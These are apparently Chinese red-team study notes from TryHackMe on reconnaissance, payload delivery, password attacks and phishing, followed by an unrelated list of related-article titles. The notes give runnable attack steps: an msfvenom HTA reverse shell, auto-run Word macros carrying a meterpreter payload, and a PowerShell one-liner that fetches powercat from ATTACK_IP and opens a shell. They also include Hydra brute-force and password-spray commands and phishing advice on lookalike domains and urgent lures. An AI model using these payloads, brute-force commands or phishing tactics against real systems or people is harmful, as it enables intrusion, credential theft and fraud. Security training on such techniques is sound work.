前言

红队为了绕过和躲避各种监控手段,总是需要利用各种非常巧妙的手段来达到目的,他们是如何躲避蓝队的防护和监控呢?

信息收集

被动收集

  • 可以通过被动观察来进行

被动收集不需要与目标互动。换句话说,不会向目标或目标拥有的系统发送任何数据包或请求。相反,被动收集依赖于由第三方收集和公开的可用信息。开源情报 (OSINT) 用于收集有关目标的信息,可以像查看目标的公开社交媒体资料一样简单。我们可能收集的示例信息包括域名、IP 地址、电子邮件地址、员工姓名和职位发布。

内置工具

WHOIS 数据库和DNS服务器保存公开信息,查询其中任何一个都不会产生任何可疑流量。

whois

whois 域名/IP

主要查看:

  • 注册商 WHOIS 服务器
  • 注册商网址
  • 记录创建日期
  • 记录更新日期
  • 注册人联系信息和地址(除非出于隐私原因而隐瞒)
  • 管理员联系信息和地址(除非出于隐私原因而隐瞒)
  • 技术联系信息和地址(除非出于隐私原因而隐瞒)

nslookup

使用默认DNS服务器来获取指定域相关的 A 和 AAAA 记录。

nsookup 域名/IP

dig | host

指定DNS服务器解析域名的A和 AAAA 记录。

dig 域名 @DNS服务器解析地址


也可以使用host,它是查询DNS服务器以获取 DNS 记录的另一种有用的替代方法

host 域名

跃点发现

发现我们的系统和目标主机之间的跃点。

windows
tracert -d 域名                # -d 不将地址解析成主机名

linux
traceroute 域名

第三方平台

这里不讲解如何具体使用,可以参考文档,因为网上有太多教程了。

高级搜索语法

Google语法Hacking漏洞库

https://www.exploit-db.com/google-hacking-database

Google官方文档

https://support.google.com/websearch/answer/2466433

关于其他具体的语法搜索:
Edge

https://support.microsoft.com/zh-cn/topic/%E9%AB%98%E7%BA%A7%E6%90%9C%E7%B4%A2%E9%80%89%E9%A1%B9-b92e25f1-0085-4271-bdf9-14aaea720930

duckduckgo

https://help.duckduckgo.com/duckduckgo-help-pages/results/syntax/

搜索引擎

使用第三方引擎搜索敏感信息

备案查询
https://icp.chinaz.com/
https://beian.miit.gov.cn/#/Integrated/recordQuery
whois查询

whois 站长查询

https://whois.chinaz.com/

国外bgp

https://bgp.he.net/
综合查询

狗狗查询

https://www.ggcx.com/

seo综合查询

https://seo.chinaz.com/
ip查询
https://site.ip138.com/

国外Dnslytics

https://dnslytics.com/domain/sjtu.edu.cn

IP查询-站长工具

https://ip.tool.chinaz.com/

主动收集

  • 需要与目标互动,以观察它的反应。

主动侦察需要通过发送请求和数据包并观察目标是否响应以及如何响应来与目标进行交互。比如,使用 Nmap 扫描目标子网和活动主机,主动发现的一些信息包括实时主机、正在运行的服务器、开启的服务和版本号。
主动侦察分为

  1. 外部侦察:通过远程网络进行,关注外围的资产。比如使用扫描器之类的,主动收集。
  2. 内部侦察:从目标公司的网络内部进行。攻击者可能在公司的某个地方,使用易受攻击的机子,比如,使用 Nessus 使用目标计算机之一扫描内部网络。

不过一般主动收集会暴露红队的意图,所以比较少用,这里主要介绍被动收集

各种playload的生成

Windows 脚本宿主 (WSH)

Windows 脚本宿主是一个内置的 Windows 管理工具,它运行批处理文件以自动执行和管理操作系统中的任务。它是 Windows 原生引擎,cscript.exe (用于命令行脚本)和wscript.exe (用于 UI 脚本),负责执行各种 Microsoft Visual Basic Scripts (VBScript),包括 vbs 和vbe。Windows 操作系统上的 VBScript 引擎以与普通用户相同级别的访问权限和权限运行和执行应用程序;因此,它对红队很有用。

  • 详细可以参考这个
https://en.wikipedia.org/wiki/VBScript

vbs格式执行exe

我们可以使用 VBScript 来运行可执行文件。下面的vbs代码是调用Windows计算器

set shell = WScript.CreateObject("Wscript.Shell")
shell.run "C:\Windows\System32\calc.exe "

使用 CreateObject创建WScript库的对象来调用执行负载,最后利用 Run 方法来执行有效载荷,然后成功执行windows计算机 calc.exe
使用wscript运行

wscript payload.vbs

也可以通过cscript运行

cscript payload.vbs

以txt格式执行exe

如果 VBS 文件被列入黑名单,那么我们可以将文件重命名为.txt文件并使用wscript运行它,如下所示:

wscript /e:vbscript payload.txt

HTML 应用程序 ( HTA )

HTA代表“HTML 应用程序”。它可以创建一个可下载的文件,该文件包含有关其显示和呈现方式的所有信息。HTML 应用程序,也称为 HTA,是包含 JScript 和 VBScript 的动态 HTML页面。红队可以使用这种技术进行钓鱼

原理

下面是html代码:

<html>
<body>
<script>var c= 'cmd.exe'new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

kali创建好hta文件后,开启一个8080的http服务

python3 -m http.server 8080

然后访问kali的ip/a.hta,成功下载

执行文件后,可以看见成功执行了cmd弹窗

hta反向shell

创建一个反向 shell playload

msfvenom -p windows/x64/shell_reverse_tcp  LPORT=4444 -f hta-psh -o thm.hta

然后监听4444端口

这时候访问攻击者的url,并且执行该文件,会接受到一个shell

Metasploit生成HTA文件

还有一种使用 Metasploit 框架生成和提供恶意HTA文件的方法。

  • 使用这个模块
use exploit/windows/misc/hta_server


最后访问生成的url地址,然后执行恶意文件,MSF会接受到一个反向shell

查看会话列表,然后指定会话,可以和会话进行交互

sessions -l
sessions -i 1

应用程序的 Visual Basic (VBA)

VBA 代表 Visual Basic for Applications,这是 Microsoft 为 Microsoft Word、Excel、PowerPoint 等 Microsoft 应用程序实施的一种编程语言。VBA 编程允许自动执行用户与 Microsoft Office 应用程序之间几乎所有键盘和鼠标交互的任务。

为什么要用宏?

宏是 Microsoft Office 应用程序,其中包含以 VBA 的编程语言编写的嵌入式代码。可以利用这一特性来实现更多的攻击手段。不过通常这种技术适合社会工程学

原理

首先,我们需要通过选择 视图→ 宏来打开 Visual Basic 编辑器。宏窗口显示在文档中创建我们自己的宏。
如图进行操作


然后就进来这个界面

我们尝试显示一个包含以下消息的消息框
将中间修改代码为

MsgBox ("aaaaaaaaaa")


最后F5运行,可以看见成功执行VBA代码

为了在文档打开后自动执行 VBA 代码,我们可以使用内置函数:AutoOpen 和 Document_open。请注意,我们需要指定文档打开后需要运行的函数名称,我使用的是 test 函数(也就是宏的名称)。

Sub Document_Open()test
End SubSub AutoOpen()test
End SubSub test()MsgBox ("aaaaaaaaaaa!")
End Sub

然后Ctrl + s保存,一般情况下我们都是没有启用宏的,会和我一样的这种情况,我们选择否

要使宏起作用,就需要将其保存为启用宏的格式,如.doc 和 docm。将文件保存为Word 97-2003 模板。

打开刚刚另存为的文档,Microsoft Word 将显示一条安全消息,指示宏已被禁用,一旦我们允许启用内容,我们的宏就会执行

可以看见执行成功!

使用宏还可以执行文件

我们再次编辑一个word文档,并和上面一样,创建一个宏,我们执行calc.exe

Sub Document_Open()PoC
End SubSub AutoOpen()PoC
End SubSub PoC()Dim payload As String   //使用 Dim payload As String,Dim关键字将payload 变量声明为字符串payload = "calc.exe"       //使用 payload = "calc.exe"我们指定负载名称
CreateObject("Wscript.Shell").Run payload, 0 //最后使用 CreateObject("Wscript.Shell").Run payload我们创建一个 Windows 脚本宿主 (WSH) 对象并运行负载。

End Sub
再次打开,可以看见成功弹窗计算器

虽然VBA/宏本身并不能绕过任何检测,但是我们可以将 VBA 与之前介绍的方法(例如 HTA 和 WSH)结合使用。

利用MSF生成宏代码

使用 msfvenom创建我们的 meterpreter payload 。我们需要指定 Payload 、LHOST和 LPORT 还有生成的代码。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=监听的端口 -f vba-exe -o a.txt


这时候新建一个word,把PLAYLOAD DATA 下面的内容粘贴至word的内容中

然后创建宏,名字任意起。复制宏指令然后粘贴

这时候另存为其他word类型,方法同上,不再赘述。

然后MSF开始监听,等到目标打开word文档的时候就会反向shell

可以看见目标成功上线

不过我们在实战中,这样肯定容易被发现。比较鸡肋的是对方要启用宏,我们不仅需要做免杀处理,还需要对奇奇怪怪的文字进行隐藏,比如:将字符改为白色等姿势。

PowerShell (PSH)

PowerShell 是 Microsoft 的任务自动化和配置管理程序,由命令行 shell 和相关的脚本语言组成。它是一种面向对象的编程语言。红队通常依靠PowerShell执行各种活动,包括初始访问、系统枚举等。

打印

我们先简单的输入一个 Hello,World!
write-output “Hello,World!”

然后新建一个文件,另存为 1.ps1

执行策略

PowerShell 的执行策略是一个 安全选项,用于保护系统免于运行恶意脚本,ps1后缀是powershell的执行脚本

powershell  -File 1.ps1

当我们执行脚本的时候,可以看见失败了,那是因为Microsoft出于安全目的禁止执行PowerShell脚本.ps1

绕过执行策略

PowerShell的默认执行策略设置为Restricted ,意思是允许单独的命令但不允许运行任何脚本。

  • 查看Windows当前的PowerShell设置
Get-ExecutionPolicy

可以看见当前的执行策略是Restricted,所以不能执行脚本

那么如何更改策略?运行以下命令

  • 开启绕过安全执行策略
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
// RemoteSigned  意味绕过安全执行策略

可以看见,更改成功

  • 关闭绕过安全执行策略
Set-ExecutionPolicy -Scope CurrentUser Restricted

当开启绕过安全执行策略的时候,可以看见脚本成功执行

还有另一绕过安全执行策略种方式

powershell -ex bypass -File 1.ps1

利用PowerShell 反向 shell

这种操作通常比较适合近源渗透。比如:去到某个公司内部,将能触碰到的机子,然后来个反向shell

  • 工具链接
https://github.com/besimorhino/powercat

获取工具后,然后在工具目录下创建一个http服务

这时候开启另一个终端,监听4444端口:接受目标的连接

这时候在目标机子,输入以下playload

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACK_IP:8080/powercat.ps1');powercat -c ATTACK_IP -p 4444 -e cmd"

这时候返回kali终端,可以看见成功接收到一个shell

不过比较鸡肋的就是,免杀问题。对方有防火墙什么的,或者防护软件等。还需要考虑到如何绕过之类的方法

传输技巧

传输方式是获取权限的主要因素,传输恶意playload有各种各样的方法

电子通信传输

此方法通常较利用于社交软件作为媒介,攻击者通过得到信任,发送恶意文件让受害者点击,这是电子通信传输的主要方式。关键是要得到受害者的信任,也就是所谓的社会工程学中的钓鱼。

网络传输

这种方法通常利用WEB应用进行传输恶意playload,以达到某种权限,如0day。另一种方法是在由红队控制的 Web 服务器上托管恶意负载,利用社会工程以访问或下载恶意文件。使用此方法时,URL 缩短器可能会有所帮助。

近源传输

近源渗透通常又叫做 “物理渗透”,攻击者利用近源的优势靠近目标的机子,然后展开一些列的操作。
常见利用的USB设备是

  • Bad Usb(Rubber Ducky),一种模拟器键盘输入的设备,外观是USB设备
  • USBHarpoon (Bad Usb的升级改造版,一条恶意的 USB 充电线)

具体可以参考这个:

https://www.minitool.com/news/usbharpoon.html
https://attack.mitre.org/techniques/T1091/

密码技术

密码

密码用作个人访问计算机系统或应用程序的身份验证方法,它相当于一个权限的鉴别,一旦拥有了这个令牌,未经授权的访问可能会导致系统的整体状态和健康发生变化或损坏文件系统。

密码分析

一个好的字典决定着密码攻击的成败,我们需要收集有利的密码或者创建各种针对性的字典来去爆破

默认密码

在某些情况下,用户没有更改默认密码,制造商为交换机、防火墙、路由器等产品和设备设置默认密码。通过我们的信息收集,在拥有默认密码的情况下,会提升攻击成功的概率

  • 以下是一些为各种产品提供默认密码的网站列表
https://cirt.net/passwords
https://default-password.info/
https://datarecovery.com/rd/default-passwords/

密码字典

有一些安全研究员随着时间的推移收集和生成弱密码列表,并经常将它们组合成一个大的字典,这些字典是根据他们的经验和他们在渗透测试中看到的内容生成的。

  • 以下是一些常见的弱密码列表:
https://wiki.skullsecurity.org/index.php?title=Passwords
https://github.com/danielmiessler/SecLists/tree/master/Passwords

自定义字典

字典组合

假设我们有多个单词列表,可以将这些词表组合成一个大文件。

cat pass1.txt pass2.txt pass3.txt > password.txt

清理生成的组合字典以删除重复的单词,我们可以使用 sort 和 uniq 命令

sort pass_list.txt | uniq -u > password.txt# sort 命令以默认的式对文件的行进行排序
# uniq -u  仅显示出一次的行列

生成字典

自定义生成字典是增加找到有效密码机会的最佳方法之一,我们可以通过前面的信息收集,然后自定义生成密码本,比如:有关员工的重要信息,包括电子邮件和员工姓名。

cewl

cewl 可用于有效地抓取网站并提取字符串或关键字,可以生成特定于给定公司或目标的词表。

cewl -w pass.txt -d 5 -m 5  target.com# -w 将内容写入指定文件
# -m 5 收集 5 个或更多字符的字符串(单词)
# -d 5 是网络爬虫/爬虫的深度级别(默认2)

crunch

crunch 命令可以生成指定的字符、数字和符号 。

crunch 4 4 123456@ -o a.txt

指定长度为4 ,字符为123456@ -o指定输出的文件名

crunch 还允许我们使用 -t 选项指定一个字符集来组合我们选择的单词

@  - 小写字母字符,  - 大写字母字符%  - 数字字符^  - 包括空格在内的特殊字符

比如我们知道,管理员的密码包含ranran,后面包含两个数字,可以使用 上面的% 符号来匹配数字

crunch 8 8 ranran%% -o pass.txt

cupp

cupp 工具 适合将收集到受害者的信息,如生日、宠物、公司名、口头禅、在意的名词等,这个工具可以根据已知的信息生成密码字典。

  • 下载地址
https://github.com/Mebus/cupp

python3 cupp.py -i

交互模式、根据输入的选项生成字典,如果没有给定字段的答案,请按 Enter 键跳过它

最后生成在本地

密码破解

密码破解是一种通过使用的字典来猜测密码的技术

哈希破解

比方说,我们获得了以下哈希值:f6fdffe48c908deb0f4c3bd36c032e72,并想进行字典来破解它。首先,要了解两点

  • 这个是什么类型的哈希值
  • 使用什么词表?以及使用对应哈希类型的攻击模式

这里我使用 hash-identifier 来识别哈希的类型,当然也可以使用hashid或类似的工具

可以看到推测的结果可能是MD5值

hashcat

hashcat 是一种流行的哈希破解工具,破解哈希的时间取决于使用的硬件(CPU 和/或 GPU),所以要想速度更快:硬性条件就是硬件

hashcat -a 0 -m 0 f6fdffe48c908deb0f4c3bd36c032e72 /usr/share/wordlists/rockyou.txt
  • -a 0 设置攻击方式为字典攻击
  • -m 0 设置破解MD5哈希的哈希模式,对应其他类型,可以通过 hashcat -h 查看

可以看见花了4秒的时间就破解完了

哈希已被破解,还想查看之前的密码是什么

hashcat 哈希值 --show

john

该软件破解密码方式简单而粗暴,理论上只要时间上面允许,该软件可以破译绝大多数用户密码。John the Ripper免费的开源软件,支持目前大多数的加密算法,如DES、MD4、MD5等。
首先把哈希值,放入到一个文件

如果什么参数都不加,john工具会自动推荐参数让你使用,否则它会自动破解

john hash.txt

john hash.txt --format=Raw-MD5  -w /usr/share/wordlists/rockyou.txt
  • –format=Raw-MD5 指定MD5类型
  • -w 指定字典爆破

/root/.john/john.pot 文件下存储着成功破译的密码

cat /root/.john/john.pot

第三方网站破解

也可以使用在线的网站尝试破解密码

https://www.somd5.com/
https://crackstation.net/

协议爆破

通常这些协议的密码都是没有经过加密的,和哈希爆破不一样。使用用户名和密码身份验证方案的网络服务的密码,包括 HTTP、SSH、VNC、FTP、SNMP、POP3 等服务

Hydra

Hydra 支持广泛的网络服务攻击列表。这里使用hydra工具演示,关于其他的工具:Medusa、Ncrack、others!

  • SMTP爆破(示例)
hydra -l target@gmail.com -P pass.txt smtp://xx.xx.xx.xx -v -t 20 -f# ip前面的是协议
# -t 指定线程
# -l 指定用户名 / -L用户名字典
# -P 指定密码字典  / -p 指定密码
# -v/-V 显示详细过程
# -f 密码成功时候停止运行

其他协议的爆破

#破解rdp(3389):hydra -l administrator -P password.txt -V IP rdp
#破解mysql:hydra ip -L 用户名 -P pass.txt -V mysql
#破解ssh:hydra -L user.txt -P password.txt -e ns -vV IP ssh
#破解teamspeak:hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
#破解cisco:hydra -P pass.txt IP ciscohydra -m cloud -P pass.txt IP cisco-enable
#破解smb:hydra -l administrator -P pass.txt IP smb
#破解pop3:hydra -l muts -P pass.txt my.pop3.mail pop3
#破解http-proxy:hydra -l admin -P pass.txt http-proxy://IP
#破解imap:hydra -L user.txt -p imap://ip PLAINhydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
#破解telnethydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

密码喷洒攻击

密码喷洒是一种用于识别有效凭据的有效技术。如今被认为是发现弱密码的常见密码攻击之一,攻击者通过已知的弱点密码,然后针对不同的协议或不同的用户名进行密码爆破

演示

我们已经枚举了系统并创建了一个有效的用户名列表。

root@y:~# cat username.txt
admin
victim
dummy
adm
sammy

这里我们可以使用 hydra使用已知弱密码123456对SSH服务进行密码喷射攻击

root@y:~$ hydra -L usernames.txt -p 123456 ssh://10.10.1.10
[INFO] Successful, password authentication is supported by ssh://10.10.1.10:22
[22][ssh] host: 10.10.1.10 login: victim password: 123456
[STATUS] attack finished for 10.1.1.10 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found

网络钓鱼

社会工程学

社会工程是通过利用人性的弱点来操纵人们执行或泄露信息的心理。这些“弱点”可能是好奇心、嫉妒心、贪婪,甚至是善良和乐于助人。网络钓鱼是一种通过电子邮件或其他电子通信方式进行的社会工程,目的是诱骗某人泄露个人信息、凭据,甚至在他们的计算机上执行恶意代码。

伪装

通过伪装来达到目标信任,这对钓鱼成功的机率起着绝对性的作用

域名

过期域名

购买具有一定历史的域名,邮件过滤器方面可能不会判断你的域名不可信任

伪造域名

伪造域名是指注册域看起来与您试图模仿的目标域非常相似

拼写错误: goggle.com 与 google.com附加域: go.ogle.com vs google.com切换字母数字: g00gle.com 与google.com添词: googles.com 与google.com

顶级域名备选方案

顶级域名 (TLD)是 .com .net .co.uk .org .gov 等域名的一部分,现在有 100 多种 TLD 变体。选择顶级域的一个常见技巧是使用相同的名称但具有不同的 TLD。
例如:

# 真域名
google.com# 假域名
google.uk

IDN 同形异义词攻击/脚本欺骗

最初域名由拉丁字符 az 和 0-9 组成,但在 1998 年实施了 IDN(国际化域名)以支持来自其他语言(如阿拉伯语、中文、西里尔语、希伯来语等)的特定语言文字或字母表。IDN 实施引起的一个问题是来自不同语言的不同字母实际上可能看起来相同,使攻击者能够注册一个看起来几乎相同的域名。
例如:

# 真域名
www.oppo.com# 假域名
www.οppο.com

https协议&Dns记录

为选择的域名创建 SSL/TLS 证书将为攻击增加一层额外的真实性。设置DNS记录(例如 SPF、DKIM、DMARC)将提高电子邮件的送达率并确保它们进入收件箱而不是垃圾邮件文件夹。

撰写令人信服的网络邮件

  1. 发件人信息:应该是对方信任的的,可以采用 OSINT(开源情报)策略
  2. 主题:将主题设置为非常紧急、令人担忧或激起受害者好奇心的事情,这样受害者就不会忽视它并迅速采取行动

例如:

您的帐户已被盗用。
您的包裹已发货/发货。
员工工资信息(请勿转发!)
您的照片已发布。
  1. 内容:学会冒充受害信任对象的特征的事物,比如Logo、称呼、消息内容,最后指引受害者点击恶意文件或者链接

MS Office

钓鱼期间,Microsoft Office 文档(通常是 Word、Excel 或 PowerPoint)将作为附件包含在内。我们可以利用这点,欺骗受害者,让受害者执行恶意宏。

网站克隆

攻击者利用cs或其他工具复制受害者所信任的网站,从而实现钓鱼,具体可以参考这篇

https://www.sqlsec.com/2020/10/xss2.html#%E9%92%93%E9%B1%BC%E6%B5%81%E7%A8%8B

总结

在THM学习总结的笔记,一句话概括下:就是收集敏感信息,然后找到利用点就尝试传输各种playload,这些利用的包括web漏洞也包括社工,最重要的是要如何规避和隐藏自己的行动意图不被暴露。

https://tryhackme.com/paths

Apt技术的各种手段-前期(万字总结)相关推荐

  1. java注解与APT技术

    1,基本概念 什么是注解? 注解(Annotation),也叫元数据.一种代码级别的说明.它是JDK1.5及以后版本引入的一个特性,与类.接口.枚举是在同一个层次.它可以声明在包.类.字段.方法.局部 ...

  2. Android注解处理器APT技术简介

    Android注解处理器APT技术简介 APT是什么 例子 APT有什么用 (好处) APT原理 (为什么) APT实践 (怎么做) 参考 APT是什么 APT全称"Annotation P ...

  3. ChatGPT背后的AI背景、技术门道和商业应用(万字长文,建议收藏)

    作者:京东科技 李俊兵 各位看官好,我是球神(江湖代号). 自去年11月30日ChatGPT问世以来,迅速爆火出圈. 起初我依然以为这是和当年Transformer, Bert一样的"热点& ...

  4. PDA移动POS开单扫描打票收银系统-带来零售批发 新的技术 新的手段!!

    手持POS终端高清彩屏,清晰.美观.大方,适用于仓库.超市.服装.食品.批发零售.手机电脑等企业管理.可与管理软件灵活对接. 1:员工记不住价格,产品名称,只要有PDA扫描,价格,库存,直接开销售单, ...

  5. 攻防技术第二篇之-知己(防御手段)

    文章目录 攻防演练 POC Payload EXP 浏览器爬虫 反连平台 Fuzz 主动扫描 被动扫描 语义分析 业务建模 流量拦截 用户枚举 插件 访问控制列表ACL cookie防护 BOT防护 ...

  6. APT案例之点击事件

    目录介绍 01.创建项目步骤 1.1 项目搭建 1.2 项目功能 02.自定义注解 03.创建Processor 04.compiler配置文件 05.编译jar 06.如何使用 07.编译生成代码 ...

  7. 自定义依赖注解无效_关于Apt注解实践与总结【包含20篇博客】

    超详细!安卓巴士开发者大会嘉宾及主题介绍 目录介绍 00.注解系列博客汇总 01.什么是apt 02.annotationProcessor和apt区别 03.项目目录结构 04.该案例作用 05.使 ...

  8. 中台实践:新汽车行业的业务、技术和平台转型

    陈新宇 等 读完需要 10 分钟 速读仅需 4 分钟 图片来源:pexels.com 汽车行业在过去的三年里迎来了从增量市场转变为存量市场的大趋势,倒逼着汽车企业不断改进经营模式.国内车企越来越意识到 ...

  9. 岑崟:手把手教你走好从技术转管理的第一步

    岑崟 读完需要 10 分钟 速读仅需 1 分钟 前好买财富 系统运维部副总监 负责应用运维及 DevOps 运维平台研发和运营,推动运维团队从传统运维向 DevOps 转变. 本文根据岑崟老师在[de ...

最新文章

  1. Django博客系统(详情评论数据展示)
  2. 宏基因组实战6. 不比对快速估计基因丰度Salmon
  3. JavaScript字符串
  4. python【蓝桥杯vip练习题库】ADV-100第二大整数
  5. ubuntu apache2 的负载均衡和反向代理
  6. Nginx与Tomcat实现请求动态数据与请求静态资源的分离
  7. 浙江理工大学-2018-2019学年面向对象程序设计A-期末复习资料
  8. 01背包问题:回溯法和限界分支、递归和迭代方式
  9. 英雄联盟手游火线妹上线了!金克丝也想成为第一AD吗?
  10. jzoj2908,P1527-[集训队互测 2012]矩阵乘法【整体二分,二维树状数组】
  11. 边缘计算比云计算强在哪里?终于有人讲明白了
  12. 我所理解的JVM(三):字节码的执行
  13. python多维矩阵基础运算中的一点困惑
  14. PHP 7.0 5.6 下安裝 phpLDAPadmin 发生错误的修正方法
  15. mysql:Error while performing database loggin with the mysql driver
  16. Kali渗透测试:使用Word宏病毒进行渗透攻击
  17. w ndoWs8pE模式下载,windows pe官方版下载_windows pe v8.2 - Win7旗舰版
  18. 如何测量三角形的斜边长度?
  19. 订阅号服务器消息推送数量,微信服务号一个月4次的推文次数用完了,怎么增加推送数量?...
  20. 第7讲 视觉里程计1 下篇

热门文章

  1. 都2019了,领导还要https支持xp下的ie浏览器
  2. 面向对象整体GIS数据模型的设计与实现
  3. java连接数据库12514_ORA-12514 TNS 监听程序当前无法识别连接描述符中请求服务 的解决方法...
  4. iOS适配iPhoneX上下出现黑色区域
  5. cordova 安卓文件多选_安卓手机清理大师官方版下载-安卓手机清理大师下载安装v1.0.0...
  6. 关闭WINDOWS服务
  7. 微信小程序分包反编译教程
  8. android应用安装到指定user下方法
  9. JS DOM 编程复习笔记--父元素、子元素和兄弟元素(三)
  10. 超励志!杭电第六次打入“ACM/ICPC”全球总决赛!